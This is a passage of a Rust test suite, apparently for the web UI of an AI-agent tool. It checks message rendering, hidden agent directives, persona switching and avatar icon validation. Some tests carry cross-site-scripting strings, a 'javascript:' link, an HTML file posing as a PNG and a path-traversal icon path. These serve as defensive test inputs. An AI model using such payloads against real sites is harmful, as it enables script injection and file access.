12150 let saved = ui.talks.get(&id).unwrap();
12151 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
12152 let view = TalkView::with_config(saved, false, None, &ui.home);
12153 assert!(
12154 view.talk.turns[0].messages[0].display.is_none(),
12155 "operator copy stays literal"
12156 );
12157 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
12158 assert!(view.turn_messages_md[0][0].is_none());
12159 let queued_md = view.pending_messages_md[0].clone();
12160 assert_eq!(
12161 queued_md,
12162 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
12163 );
12164 talk::drain(&mut conversation, &ui.talks).unwrap();
12165 talk::record_reply(
12166 &mut conversation,
12167 &ui.talks,
12168 "Explain",
12169 vec![],
12170 Some(talk::ReplyTarget {
12171 turn: 1,
12172 message: 0,
12173 }),
12174 )
12175 .unwrap();
12176 let mut saved = ui.talks.get(&id).unwrap();
12177 assert_eq!(saved.turns[1].messages[0].body, body);
12178 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
12179 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
12180 assert!(!reply.excerpt.contains("automatic report"));
12181 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
12184 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12185 assert_eq!(view.turn_messages_md[1][0], queued_md);
12186 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
12187 assert!(
12188 !view.talk.turns[2].messages[0]
12189 .reply
12190 .as_ref()
12191 .unwrap()
12192 .excerpt
12193 .contains("automatic report")
12194 );
12195 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
12196 }
12197
12198 #[tokio::test]
12199 async fn consultation_display_hides_directives_in_queue_and_history() {
12200 for node in [
12201 "implement",
12202 crate::land::APPROVAL_NODE,
12203 crate::github_text::ASK_NODE,
12204 ] {
12205 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12206 let mut question = Question::new(
12207 "run-123".into(),
12208 node.into(),
12209 "seat-1".into(),
12210 "Which backend?".into(),
12211 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
12212 vec!["SQLite".into(), "Redis".into()],
12213 );
12214 ui.questions.put(&mut question).unwrap();
12215 let body = crate::prompt::chat_consult(&question);
12216 let mut conversation = ui.talks.get(&id).unwrap();
12217 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12218 assert!(
12219 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
12220 );
12221 conversation = ui.talks.get(&id).unwrap();
12222 assert_eq!(conversation.pending_messages[0].body, body);
12223 assert!(body.contains("magi answer"));
12224 let mut legacy_pending = conversation.clone();
12225 legacy_pending.pending_messages[0].display = None;
12226 let legacy_view = TalkView::with_config(legacy_pending, false, None, &ui.home);
12227 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
12228 assert!(legacy_md.contains("Question consultation"));
12229 assert!(!legacy_md.contains("magi answer"));
12230 let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
12231 assert!(
12232 view.turn_messages_md[0][0].is_none(),
12233 "operator copy stays literal"
12234 );
12235 let queued_md = view.pending_messages_md[0].clone().unwrap();
12236 let rendered = serde_json::to_string(&queued_md).unwrap();
12237 for visible in [
12238 "Which backend?",
12239 "Context",
12240 "storage",
12241 "SQLite",
12242 "Redis",
12243 "<script>literal</script>",
12244 ] {
12245 assert!(rendered.contains(visible), "missing {visible}");
12246 }
12247 for directive in [
12248 "What to do",
12249 "magi answer",
12250 "Never answer it yourself",
12251 "Do not edit the repository",
12252 ] {
12253 assert!(!rendered.contains(directive), "exposed {directive}");
12254 }
12255 assert_eq!(
12256 view.talk.pending_messages[0].display,
12257 Some(crate::prompt::chat_consult_display(&question))
12258 );
12259 talk::drain(&mut conversation, &ui.talks).unwrap();
12260 let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
12261 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
12262 assert_eq!(conversation.turns[1].messages[0].body, body);
12263
12264 conversation.turns[1].messages[0].display = None;
12267 let view = TalkView::with_config(conversation, false, None, &ui.home);
12268 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
12269 assert!(legacy.contains("Question consultation"));
12270 assert!(!legacy.contains("magi answer"));
12271 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12272 }
12273 }
12274
12275 #[test]
12276 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
12277 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
12278 let (body, mut display) =
12279 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
12280 display.facts = facts.into();
12281 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
12282 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
12283 let json = serde_json::to_string(&nodes).unwrap();
12284 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
12285 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
12286 }
12287 assert!(json.contains("<script>alert(1)</script>"));
12288 assert!(!json.contains("javascript:"));
12289 assert!(!json.contains("Tell the operator"));
12290 assert!(!json.contains("untrusted"));
12291 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
12292 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
12293 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12294 assert_eq!(
12295 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
12296 md::to_nodes("# Status", &md::ImageBase::None),
12297 );
12298 }
12299
12300 #[tokio::test]
12301 async fn notification_display_recovers_exact_legacy_completion_references() {
12302 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12303 let mut conversation = ui.talks.get(&id).unwrap();
12304 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
12305 id: "task-123",
12306 title: "Change",
12307 status: "done",
12308 reason: None,
12309 run: Some("run-123"),
12310 pr: None,
12311 summary: Some("Merge state unknown"),
12312 });
12313 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12314 conversation.turns[0].sender = None;
12315 conversation.turns[0].messages.clear();
12316 conversation.turns[0].breaks = None;
12317 conversation.pending = body.clone();
12318 conversation
12319 .completion_notices
12320 .push(crate::chat_notify::CompletionReference {
12321 task: "task-123".into(),
12322 run: Some("run-123".into()),
12323 notice: body.clone(),
12324 });
12325 ui.talks.put(&mut conversation).unwrap();
12326 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12327 assert_eq!(
12328 view.talk.turns[0].messages[0].display,
12329 Some(display.clone())
12330 );
12331 assert_eq!(view.talk.pending_messages[0].display, Some(display));
12332 assert_eq!(
12333 view.talk.turns[0].messages[0].sender,
12334 Some(talk::Sender::Magi)
12335 );
12336 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
12337 conversation.completion_notices[0]
12338 .notice
12339 .push_str("different");
12340 let view = TalkView::with_config(conversation, false, None, &ui.home);
12341 assert!(view.talk.turns[0].messages.is_empty());
12342 assert!(view.talk.pending_messages.is_empty());
12343 }
12344
12345 #[tokio::test]
12346 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
12347 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
12348 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
12349 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
12350 let _ = magi_icon_put(
12351 State(ui.clone()),
12352 Json(MagiIconUpload { icon: icon.into() }),
12353 )
12354 .await
12355 .unwrap();
12356 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
12357 assert_ne!(original, changed);
12358 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
12359 let response = magi_avatar(
12360 State(ui.clone()),
12361 Query(AvatarQuery {
12362 persona: None,
12363 builtin: None,
12364 }),
12365 )
12366 .await;
12367 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
12368 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
12369 assert_eq!(
12370 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
12371 "nosniff"
12372 );
12373 for bad in [
12374 "data:image/png;base64,PGh0bWw+".to_owned(),
12375 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
12376 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
12377 ] {
12378 assert!(save_magi_icon(home.path(), &bad).is_err());
12379 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
12380 }
12381 let restarted = Arc::new(Ui::new(
12383 Queue::at(home.path().join("queue")),
12384 Questions::at(home.path().join("questions")),
12385 Talks::at(home.path().join("talks")),
12386 home.path().join("runs"),
12387 home.path().to_path_buf(),
12388 repo,
12389 ));
12390 assert_eq!(
12391 magi_icon_get(State(restarted.clone())).await.0["avatar"],
12392 changed
12393 );
12394 let view = TalkView::with_config(
12395 restarted.talks.get(&id).unwrap(),
12396 false,
12397 None,
12398 &restarted.home,
12399 );
12400 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
12401 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
12402 let response = magi_avatar(
12403 State(ui.clone()),
12404 Query(AvatarQuery {
12405 persona: None,
12406 builtin: None,
12407 }),
12408 )
12409 .await;
12410 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
12411 .await
12412 .unwrap();
12413 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
12414 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
12415 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
12416 let _ = magi_icon_delete(State(ui)).await.unwrap();
12417 }
12418
12419 async fn avatar(
12421 ui: &Arc<Ui>,
12422 id: &str,
12423 persona: Option<&str>,
12424 builtin: bool,
12425 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
12426 let res = talk_avatar(
12427 State(Arc::clone(ui)),
12428 Path(id.to_owned()),
12429 Query(AvatarQuery {
12430 persona: persona.map(str::to_owned),
12431 builtin: builtin.then(|| "1".to_owned()),
12432 }),
12433 )
12434 .await
12435 .expect("an avatar is never an error response");
12436 let h = res.headers();
12437 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
12438 let nosniff = h
12439 .get(header::X_CONTENT_TYPE_OPTIONS)
12440 .is_some_and(|v| v == "nosniff");
12441 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
12442 let status = res.status();
12443 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
12444 .await
12445 .expect("body")
12446 .to_vec();
12447 (status, ct, nosniff, csp, body)
12448 }
12449
12450 fn tiny_png() -> Vec<u8> {
12451 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
12452 b.extend_from_slice(&[0u8; 32]);
12453 b
12454 }
12455
12456 #[tokio::test]
12457 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
12458 let res = operator_avatar().await;
12459 assert_eq!(res.status(), StatusCode::OK);
12460 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
12461 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
12462 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
12463 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
12464 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
12465 .await
12466 .unwrap();
12467 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
12468 assert_ne!(
12469 persona_icon::operator_svg(),
12470 persona_icon::builtin_svg("default")
12471 );
12472 }
12473
12474 #[tokio::test]
12475 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
12476 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
12477 for p in [
12478 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
12479 ] {
12480 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
12481 assert_eq!(status, StatusCode::OK, "{p}");
12482 assert_eq!(ct, "image/svg+xml", "{p}");
12483 assert!(nosniff && csp, "{p}");
12484 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
12485 }
12486 let own = avatar(&ui, &id, None, false).await;
12488 let default = avatar(&ui, &id, Some("default"), false).await;
12489 assert_eq!(own.4, default.4);
12490 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
12491 assert_eq!(unknown.1, "image/svg+xml");
12492 }
12493
12494 #[tokio::test]
12495 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
12496 let dir = TempDir::new().expect("icons");
12497 let good = dir.path().join("good.png");
12498 std::fs::write(&good, tiny_png()).unwrap();
12499 let spoof = dir.path().join("spoof.png");
12500 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
12501 let big = dir.path().join("big.png");
12502 let mut bytes = tiny_png();
12503 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
12504 std::fs::write(&big, bytes).unwrap();
12505 let missing = dir.path().join("missing.png");
12506 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
12507 let extra = format!(
12508 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
12509 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
12510 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
12511 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
12512 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
12513 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
12514 uri(&good),
12515 uri(&spoof),
12516 uri(&big),
12517 uri(&missing),
12518 );
12519 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
12520
12521 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
12522 assert_eq!(
12523 (status, ct.as_str(), nosniff),
12524 (StatusCode::OK, "image/png", true)
12525 );
12526 assert_eq!(body, tiny_png());
12527 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
12528 assert_eq!(ct, "image/png", "data URI");
12529
12530 for p in ["misato", "asuka", "shinji", "magi"] {
12531 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
12532 assert_eq!(
12533 (status, ct.as_str(), csp),
12534 (StatusCode::OK, "image/svg+xml", true),
12535 "{p}"
12536 );
12537 assert!(body.starts_with(b"<svg"), "{p}");
12538 }
12539 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
12541 assert_eq!(ct, "image/svg+xml");
12542 }
12543
12544 #[tokio::test]
12545 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
12546 let oversized = format!(
12547 "data:image/png;base64,{}",
12548 "A".repeat(persona_icon::ICON_MAX_BYTES)
12549 );
12550 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
12551 let extra = format!(
12552 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
12553 );
12554 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
12555 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12556 .await
12557 .expect("detail with invalid icon");
12558 assert!(detail.personas.iter().any(|p| p.id == "custom"));
12559 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
12560 assert_eq!(status, StatusCode::OK);
12561 assert_eq!(ct, "image/svg+xml");
12562 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
12563 let Json(view) = talk_persona(
12564 State(Arc::clone(&ui)),
12565 Path(id.clone()),
12566 Json(TalkPersona {
12567 persona: "custom".into(),
12568 }),
12569 )
12570 .await
12571 .expect("persona switch with invalid icon");
12572 assert_eq!(view.talk.persona, "custom");
12573 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
12574 }
12575 }
12576
12577 #[tokio::test]
12578 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
12579 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
12580 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
12581 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
12582 assert_eq!(
12583 (status, ct.as_str(), nosniff, csp),
12584 (StatusCode::OK, "image/svg+xml", true, true)
12585 );
12586 }
12587
12588 #[tokio::test]
12589 async fn the_talk_view_carries_server_built_avatar_urls_only() {
12590 let (_t, _h, ui, id, _repo) =
12591 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
12592 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12593 .await
12594 .expect("detail");
12595 let json = serde_json::to_string(&detail).unwrap();
12596 assert!(
12597 !json.contains("secret"),
12598 "the icon setting must not leak: {json}"
12599 );
12600 assert!(
12601 detail
12602 .view
12603 .persona_avatar
12604 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
12605 );
12606 assert_eq!(
12607 detail.view.operator_avatar,
12608 format!(
12609 "/avatars/operator.svg?v={}",
12610 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
12611 )
12612 );
12613 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
12614 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
12615 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
12616 assert!(rei.avatar.contains("persona=rei&v="));
12617 assert_ne!(
12618 rei.avatar.split("&v=").nth(1),
12619 plain.avatar.split("&v=").nth(1)
12620 );
12621 }
12622
12623 #[tokio::test]
12624 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
12625 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
12626 let cfg = config_for(&repo).await.unwrap();
12627 for arrived in [false, true] {
12628 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
12629 let observed = ui.queued_generation(&id);
12630 let talk = ui.talks.get(&id).unwrap();
12631 if arrived {
12632 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
12633 }
12634 let mut settling = std::pin::pin!(settle_settings_turn(
12635 talk,
12636 ui.talks.clone(),
12637 cfg.clone(),
12638 id.clone(),
12639 turn,
12640 observed
12641 ));
12642 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
12643 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
12644 assert_eq!(first.is_pending(), arrived);
12645 if arrived {
12646 assert!(!settling.await);
12647 }
12648 assert!(!ui.is_thinking(&id));
12649 }
12650 }
12651
12652 #[tokio::test]
12653 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
12654 let tmp = TempDir::new().expect("tempdir");
12655 let repo = tmp.path().join("repo");
12656 std::fs::create_dir_all(&repo).expect("repo dir");
12657 std::fs::write(
12658 repo.join("magi.toml"),
12659 format!(
12660 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
12661 ),
12662 )
12663 .expect("write magi.toml");
12664 let home = TempDir::new().expect("temp home");
12665 let talks = Talks::at(home.path().join("talks"));
12666 let ui = Arc::new(
12667 Ui::new(
12668 Queue::at(home.path().join("queue")),
12669 Questions::at(home.path().join("questions")),
12670 talks.clone(),
12671 home.path().join("runs"),
12672 home.path().to_path_buf(),
12673 repo.clone(),
12674 )
12675 .with_worktrees_root(home.path().join("wt")),
12676 );
12677 let cfg = config_for(&repo).await.expect("discover config");
12678 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12679 let id = talk.id.clone();
12680 let call = |persona: &str| {
12681 talk_persona(
12682 State(Arc::clone(&ui)),
12683 Path(id.clone()),
12684 Json(TalkPersona {
12685 persona: persona.to_owned(),
12686 }),
12687 )
12688 };
12689
12690 let unknown = call("nobody").await.expect_err("unknown persona");
12691 assert_eq!(
12692 unknown.status,
12693 StatusCode::BAD_REQUEST,
12694 "{}",
12695 unknown.message
12696 );
12697
12698 {
12699 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12702 let busy = call("rei").await.expect_err("busy talk");
12703 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12704 assert!(
12705 busy.message.contains("a talk turn is running"),
12706 "{}",
12707 busy.message
12708 );
12709 drop(guard);
12710 }
12711 assert_eq!(talks.get(&id).expect("reload").persona, "");
12712
12713 let Json(view) = call("gendo").await.expect("switch to a configured persona");
12714 assert_eq!(view.talk.persona, "gendo");
12715 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
12716 assert!(!ui.is_thinking(&id), "idle response must release the claim");
12717 for chosen in ["default", "gendo", "rei", "gendo"] {
12719 let Json(view) = call(chosen).await.expect("immediate consecutive change");
12720 assert!(!view.thinking);
12721 assert!(!ui.is_thinking(&id));
12722 }
12723
12724 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12725 .await
12726 .expect("detail");
12727 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
12728 assert_eq!(ids.first(), Some(&"default"));
12729 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
12730
12731 let Json(view) = call("default").await.expect("back to default");
12732 assert_eq!(view.talk.persona, "");
12733
12734 let mut closed = talks.get(&id).expect("reload");
12735 talk::close(&mut closed, &talks).expect("close");
12736 let refused = call("rei").await.expect_err("closed talk");
12737 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
12738 assert!(
12739 refused.message.contains("takes no more turns"),
12740 "{}",
12741 refused.message
12742 );
12743 }
12744
12745 #[tokio::test]
12746 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
12747 let f = Fixture::start().await;
12748 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
12749 let queue = f.queue();
12750 let mut mine = Task::new(
12751 "rename the loader".to_owned(),
12752 "rename the loader".to_owned(),
12753 PathBuf::from("/repo/magi"),
12754 Source::Agent {
12755 run: talk_id.clone(),
12756 node: "chat".to_owned(),
12757 },
12758 );
12759 queue.put(&mut mine).expect("file the task");
12760 let mut theirs = Task::new(
12761 "unrelated".to_owned(),
12762 "unrelated".to_owned(),
12763 PathBuf::from("/repo/magi"),
12764 Source::Human,
12765 );
12766 queue.put(&mut theirs).expect("file the task");
12767
12768 let res = f.get(&format!("/api/talks/{talk_id}")).await;
12769 assert_eq!(res.status, 200, "{}", res.body);
12770 let body = res.json();
12771 assert_eq!(
12772 body["status"], "open",
12773 "filing a task does not close a talk"
12774 );
12775 let tasks = body["tasks"].as_array().expect("tasks array");
12776 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
12777 assert_eq!(tasks[0]["id"], mine.id);
12778 }
12779
12780 #[tokio::test]
12781 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
12782 let (_tmp, _repo, f) = talk_fixture().await;
12783 let id = f.post("/api/talks", None).await.json()["id"]
12784 .as_str()
12785 .expect("id")
12786 .to_owned();
12787
12788 let res = f
12789 .post(
12790 &format!("/api/talks/{id}/say"),
12791 Some(r#"{"text":"what does the queue module do?"}"#),
12792 )
12793 .await;
12794 assert_eq!(res.status, 202, "{}", res.body);
12795 let queued = res.json();
12796 let turns = queued["turns"].as_array().expect("turns array");
12797 assert_eq!(
12798 turns.len(),
12799 1,
12800 "the answer reflects only what is on disk the instant it is sent, \
12801 before the agent's turn - which can run for the whole of \
12802 `[graph] timeout_talk` - has a chance to land: {queued}"
12803 );
12804 assert_eq!(turns[0]["who"], "operator");
12805 assert_eq!(turns[0]["body"], "what does the queue module do?");
12806 assert_eq!(
12807 queued["thinking"], true,
12808 "the accepted response exposes the background turn claim: {queued}"
12809 );
12810
12811 let mut turns_after = 1;
12812 for _ in 0..SETTLE_STEPS {
12813 let detail = f.get(&format!("/api/talks/{id}")).await.json();
12814 turns_after = detail["turns"].as_array().expect("turns array").len();
12815 if turns_after == 2 {
12816 break;
12817 }
12818 tokio::time::sleep(Duration::from_millis(10)).await;
12819 }
12820 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
12821 }
12822
12823 #[tokio::test]
12850 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
12851 let tmp = TempDir::new().expect("tempdir");
12852 let repo = tmp.path().join("repo");
12853 std::fs::create_dir_all(&repo).expect("repo dir");
12854 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12855 let home = TempDir::new().expect("temp home");
12856 let talks = Talks::at(home.path().join("talks"));
12857 let ui = Arc::new(
12858 Ui::new(
12859 Queue::at(home.path().join("queue")),
12860 Questions::at(home.path().join("questions")),
12861 talks.clone(),
12862 home.path().join("runs"),
12863 home.path().to_path_buf(),
12864 repo.clone(),
12865 )
12866 .with_worktrees_root(home.path().join("wt")),
12867 );
12868 let cfg = config_for(&repo).await.expect("discover config");
12869
12870 for delay in 0..40u32 {
12871 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
12872 let id = talk.id.clone();
12873
12874 let handler = tokio::spawn(talk_say(
12875 State(Arc::clone(&ui)),
12876 Path(id.clone()),
12877 Ok(Json(NewTalkTurn {
12878 reply_to: None,
12879 text: "what does the queue module do?".to_owned(),
12880 attachments: Vec::new(),
12881 })),
12882 ));
12883 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
12884 handler.abort();
12885 let _ = handler.await;
12888
12889 let mut turns = 0;
12890 for _ in 0..SETTLE_STEPS {
12891 if let Ok(fresh) = talks.get(&id) {
12892 turns = fresh.turns.len();
12893 if turns != 1 {
12894 break;
12895 }
12896 }
12897 tokio::time::sleep(Duration::from_millis(10)).await;
12898 }
12899 assert_ne!(
12900 turns, 1,
12901 "delay {delay}: talk {id} recorded the operator's turn but \
12902 the agent never answered - the reply task was never \
12903 started after the handler future was dropped"
12904 );
12905 }
12906 }
12907
12908 #[tokio::test]
12953 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
12954 let tmp = TempDir::new().expect("tempdir");
12955 let repo = tmp.path().join("repo");
12956 std::fs::create_dir_all(&repo).expect("repo dir");
12957 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12958 let home = TempDir::new().expect("temp home");
12959 let talks = Talks::at(home.path().join("talks"));
12960 let ui = Arc::new(
12961 Ui::new(
12962 Queue::at(home.path().join("queue")),
12963 Questions::at(home.path().join("questions")),
12964 talks.clone(),
12965 home.path().join("runs"),
12966 home.path().to_path_buf(),
12967 repo.clone(),
12968 )
12969 .with_worktrees_root(home.path().join("wt")),
12970 );
12971 let cfg = config_for(&repo).await.expect("discover config");
12972
12973 for attempt in 0..3u32 {
12974 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
12975 let id = talk.id.clone();
12976 let turn_guard = ui
12979 .begin_talk_turn(&id)
12980 .expect("claim the turn")
12981 .expect("a fresh talk owes nobody a turn");
12982
12983 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
12984 let (release_tx, release_rx) = std::sync::mpsc::channel();
12985 ui.set_busy_queue_gate(BusyQueueGate {
12986 reached: reached_tx,
12987 release: release_rx,
12988 });
12989
12990 let handler = tokio::spawn(talk_say(
12991 State(Arc::clone(&ui)),
12992 Path(id.clone()),
12993 Ok(Json(NewTalkTurn {
12994 reply_to: None,
12995 text: "what does the queue module do?".to_owned(),
12996 attachments: Vec::new(),
12997 })),
12998 ));
12999
13000 tokio::time::timeout(Duration::from_secs(5), reached_rx)
13005 .await
13006 .unwrap_or_else(|_| {
13007 panic!(
13008 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
13009 )
13010 })
13011 .expect("the busy branch dropped the gate without using it");
13012
13013 let running = talks.get(&id).expect("reload talk");
13020 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
13021
13022 handler.abort();
13026 let _ = handler.await;
13027
13028 let _ = release_tx.send(());
13034
13035 let mut fresh = talks.get(&id).expect("reload talk");
13038 for _ in 0..SETTLE_STEPS {
13039 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
13040 break;
13041 }
13042 tokio::time::sleep(Duration::from_millis(10)).await;
13043 fresh = talks.get(&id).expect("reload talk");
13044 }
13045 assert!(
13046 fresh.pending.is_empty() && fresh.turns.len() == 2,
13047 "attempt {attempt}: talk {id} left the operator's text queued \
13048 with no drainer - the reclaimed turn was dropped along with \
13049 the handler future (pending {:?}, {} turns)",
13050 fresh.pending,
13051 fresh.turns.len()
13052 );
13053 }
13054 }
13055
13056 #[tokio::test]
13057 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
13058 let (_tmp, _repo, f) = talk_fixture().await;
13059 let id = f.post("/api/talks", None).await.json()["id"]
13060 .as_str()
13061 .expect("id")
13062 .to_owned();
13063 let store = f.talks();
13064 let mut recovered = store.get(&id).expect("opened talk");
13065 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13066 .expect("persist pending draft without a live turn");
13067
13068 let edited = f
13069 .post(
13070 &format!("/api/talks/{id}/pending/edit"),
13071 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
13072 )
13073 .await;
13074 assert_eq!(edited.status, 200, "{}", edited.body);
13075 assert!(edited.json()["thinking"].as_bool().unwrap());
13076
13077 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
